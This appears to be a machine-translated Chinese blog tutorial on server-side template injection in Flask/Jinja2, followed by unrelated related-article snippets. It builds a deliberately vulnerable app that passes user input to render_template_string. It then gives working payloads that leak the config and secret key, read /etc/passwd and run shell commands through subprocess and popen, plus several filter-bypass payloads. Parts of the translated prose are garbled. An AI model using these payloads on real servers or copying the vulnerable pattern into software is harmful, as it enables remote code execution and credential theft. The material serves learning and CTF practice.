解释服务器端模板注入 渗透

news/2024/10/18 21:24:10/

环境建设:

我们从一个用python编写的基本的烧瓶Web应用程序开始(我将使用python 2),如下所示:

from flask import *app = Flask(__name__)@app.route("/")
def home():return "Hello, World!"if __name__ == "__main__":app.run(debug=True, host="localhost", port=1337)

这个网站将返回“你好,世界!”去拜访的时候。现在,我们需要添加参数,以便可以与Web应用程序交互。这可以通过烧瓶的“请求”部分来完成,所以我们只需添加request.args.get(‘参数名称’)。在我的例子中,参数将被称为“name”,下面是代码的外观:

from flask import *app = Flask(__name__)@app.route("/")
def home():output = request.args.get('name')return outputif __name__ == "__main__":app.run(debug=True, host="localhost", port=1337)

但是,由于这总是返回GET请求中的值,如果您在没有名为name的GET参数的情况下访问网站,您将得到一个错误。为了解决这个问题,我包含了一个简单的if语句:

from flask import *app = Flask(__name__)@app.route("/")
def home():output = request.args.get('name')if output:passelse:output = "Empty"return outputif __name__ == "__main__":app.run(debug=True, host="localhost", port=1337)

很好,现在我们有了一个烧瓶应用程序,它返回get参数中的值,并且不会崩溃。现在,为了实现该漏洞,该漏洞由服务器端正在执行的模板组成,当我们控制模板包含的内容时,例如著名的bug猎人橙色在Uber中发现了一个漏洞,它包括让您的概要文件名称遵循Jinja 2的模板语法(Jinja 2是{{Template Content}}for Jinja 2)。然后当你收到电子邮件时,模板就被执行了。因此,假设您将{{‘7’*7}设置为您的用户名,当您收到电子邮件时,您将看到“欢迎7777777”。

如上所述,当在服务器端执行模板时,该漏洞就会出现,并且我们控制输入,所以让我们确保我们的输入是呈现的。这可以通过烧瓶中的Render_Template_String来完成。这将接受一个字符串,并将其视为可能包含任何模板的文本,如果有,则执行模板。

from flask import *app = Flask(__name__)@app.route("/")
def home():output = request.args.get('name')output = render_template_string(output)if output:passelse:output = "Sp0re<3"return outputif __name__ == "__main__":app.run(debug=True, host="localhost", port=1337)

正如你所看到的,现在,如果你访问“http://localhost:1337/?name={{‘7’*7} 7}“,您将受到”7777777“的欢迎。我们现在已经设置了环境并准备好使用(稍后我将查看一些简单的WAF旁路方法,但现在我们只剩下这样的脚本)。

认识和利用脆弱性:

因此,模板引擎在当今的应用非常广泛,它们存在于各种不同的语言中,如PHP、JS、Python(显然)、ruby等等。它们之所以有用,是因为如果你有一个大型的网站或平台,页面之间的细节变化不多。例如,Netflix,它的内容有相同的布局,唯一的变化是:标题、描述、横幅和其他一些次要细节,所以他们没有在每次展示中创建一整页,而是将数据输入到他们的模板中,然后引擎将其全部放在一起。

模板引擎可以用于任何需要使用大量相同东西的过程,所以在优步的例子中,他们没有每次发一封新的电子邮件,而是有一个电子邮件模板,每次都更改名称。

所以,我们知道我们可以执行模板,那么我们能用它做什么呢,老实说,很多。

>阅读配置。

这可以用于获取用于对cookie进行签名的秘密密钥,使用它,您可以创建和签名自己的cookie。

Jinja 2的有效载荷示例:
{{ config }}

>读取本地文件(LFR)。

这可以用来做各种各样的事情,从直接读取一个标志(如果它被保存在带有基本的{%--包括‘标记’‘txt’}的模板文件夹中),到读取系统上的任何文件(可以通过RCE有效负载(参见下一点),或者通过另一个选项)。

一个替代方案的有效载荷是:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}//可能因版本而异。

>远程命令执行(RCE)。

最后,远程命令执行有效载荷。显然,最严重和最危险的一个,并且可以通过多种方法,一个是通过子类并找到子进程。
{{''.__class__.mro()[1].__subclasses__()[ HERE IS WHERE THE NUMBER WOULD GO ]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

尽管我在以下有效负载方面取得了更大的成功,但它使用的是Popen,而不是猜测偏移量。
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("whoami").read().zfill(417)}}{%endif%}{% endfor %}
您可能需要转到页面的末尾,以跳过从该负载产生的所有0。

现在,一些基本的利用已经结束,我们可以看看旁路方法。让我们从参数旁路方法开始。

假设您有一个模板引擎,在本例中是烧瓶,它从参数中获取一个值,并从其中删除任何“_”。这将限制我们做各种事情,例如{{__class_}}。因此,这个绕行的mehtod是基于这样的想法,即只有该参数才会检查下划线。因此,我们所要做的就是通过另一个参数传递下划线,并从模板注入调用它们。

我们首先从从请求调用类属性开始(WAF将阻止下划线)。
{{request.__class__}}

然后,我们删除“。”并且用户使用这个\\来告诉模板,我们使用的是请求的属性。
{{request|attr("__class__")}}

我们将“属性”参数的全部内容输送到一个“联接”函数,该函数将所有的值连接在一起,在这种情况下,它将粘住““,”类“和”“一起创造班级.
{{request|attr(["__","class","__"]|join)}}

然后,我们移除其中一个下划线,然后在python中用“[String]”*[Number]将前面声明的字符串乘以一个新字符串,乘以这个字符串的次数。所以“test”*3等于“testtest”。
{{request|attr(["_"*2,"class","_"*2]|join)}}

最后,我们告诉有效负载从另一个名为“USC”的参数获取下划线,并将下划线添加到另一个参数中,对我们的脚本使用的一个示例URL是:
http://localhost:1337/?name={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&usc=_
这可能只是返回空,因为我们设置了一个if语句,它基本上声明了如果Out呈现的模板是空的,那么只需将输出设置为空。

转到下一个旁路方法,这个方法被用来绕过“[”,“]”被阻塞,因为它们是上述有效载荷所需要的。

老实说,这只是一个语法问题,但它能够实现相同的目的,而不必使用任何“[”、“]”或“_”。
一些例子是:
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
这些都是从一个名为“PayloadAllTheThings”的令人惊奇的页面中提取出来的,链接可以在文章的底部找到。

另一个是以防万一。将被阻塞,并且它使用了Jinja 2筛选器,其中包含了x-attr():
http://localhost:1337/?name={{request|attr([%22_%22*2,%22class%22,%22_%22*2]|join)}}

最后,在“[”、“]”、“AC.26 Join”和/或“_”情况下使用的旁路方法将被阻塞,因为它不使用前面声明的字符:
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

现在,这些只是基本的旁路有效载荷,但可以组合和操纵,以实现一些令人惊奇的事情。

下面是我为构建一个泄漏配置的有效负载而设置的一个有效负载:
{{request|attr(["url",request.args.usc,"for.",request.args.usc*2,request.args.1,request.args.usc*2,".current",request.args.usc,"app.",request.args.conf]|join)}}&1=globals&usc=_&link=url&conf=config

结论:
这是对如何设置易受SSTI攻击的网站、该开发如何工作以及您可能遇到的任何WAF的一些基本旁路方法的基本解释。也想喊出一个来自HackTheBox的主持人叫做“makelaris”,因为实际上是他激发了我对SSTI的兴趣,并且教会了我很多关于他们的事情。如果这篇文章是被欣赏和赞赏的,我将做更多关于更先进的SSTI利用案例,以及SSTI的工作和如何在其他模板引擎中被利用。


http://www.ppmy.cn/news/581030.html

相关文章

USTC-TK2016工具集和USTC-TFC2016数据集的使用

github项目下载地址&#xff1a;https://github.com/echowei/DeepTraffic 百度网盘下载地址&#xff1a;链接&#xff1a;https://pan.baidu.com/s/1Nf-GNXAGWpKtGxW93bCOdw 提取码&#xff1a;mub1 前两步使用powershell运行&#xff0c;powershell是基于windows的类似Lin…

【rustdesk】rust入门及 windows 客户端尝试编译

rustup 微软建议用vs code开发 官方faq 构建rustdesk 大神构建的经验 下载了64位的版本: vs code 插件 rust-analyer 介绍Better TOML,用于更好的展示.toml文件Error Lens, 更好的获得错误展示 One Dark Pro, 非常好看的Vscode主题 CodeLLDB, debugger程序 安装

2017 TFC:第四届TFC VR AR高峰论坛精彩盘点

为期两天的2017第十四届TFC全球泛游戏大会暨智能娱乐展圆满落幕&#xff0c;第四届TFC VR AR高峰论坛现场&#xff0c;各位行业人士都给出了什么样的指引&#xff1f; 为期两天的2017第十四届TFC全球泛游戏大会暨智能娱乐展圆满落幕。在24日下午举行的第四届TFC VR/AR高峰论坛…

使用USTC-TK2016工具对USTC-TFC2016数据集进行处理——报错解决记录

USTC-TK2016数据处理工具&#xff1a;https://github.com/yungshenglu/USTC-TK2016 USTC-TFC2016数据集&#xff1a;https://github.com/yungshenglu/USTC-TFC2016 流量分类项目-DeepTraffic&#xff1a;https://github.com/echowei/DeepTraffic 关于如何运行以及下载USTC-TK2…

2017TFC腾讯web前端大会记录

主会场 一、TC39, ECMAScript,and the Future of JavaScript By Nicolas Bevacqua 什么是TC39 TC39&#xff08;Technical Committee 39&#xff09;是一个推动JavaScript发展的委员会。 它的成员由各个主流浏览器厂商的代表构成。 规范开发流程 每一项新特性想要最终呗…

2017TFC上道第15届厦门泛游戏企业对接会精彩盘点

2017年10月26-27日&#xff0c;由上方汇、上方网主办的“第十五届TFC全球泛游戏大会”在厦门杏林湾大酒店举行。 10月26日&#xff0c;由上道主办的“第15届厦门泛游戏企业对接会”也在TFC会场亮相&#xff0c;旨在为厦门游戏、动漫等泛游戏中小企业与全国泛游戏企业深度对接&…

打造云端测试梦工厂 腾讯WeTest参展TFC 2017

2017第十四届TFC全球移动游戏大会暨智能娱乐展2月23日在北京举行&#xff0c;很多公司都选择在新一年伊始举办的TFC期间公布新一年公司的愿景规划&#xff0c;作为国内游戏测试龙头&#xff0c;腾讯WeTest 2017年首次亮相TFC就宣布将打造云端游戏测试梦工厂&#xff0c;帮助国内…

手游测试专家TestBird参展第十一届TFC全球移动游戏大会

由上方汇举办的国内一大知名游戏盛典2015第十一届TFC全球移动游戏大会暨智能娱乐展将于9月10日至9月11日在广州南丰国际会展中心开展。TestBird已确认出席此次大会&#xff0c;将在展台B-22上为大家展示众多知名游戏开发商及优秀应用合作的经典案例以及公司在行业内的策略和经验…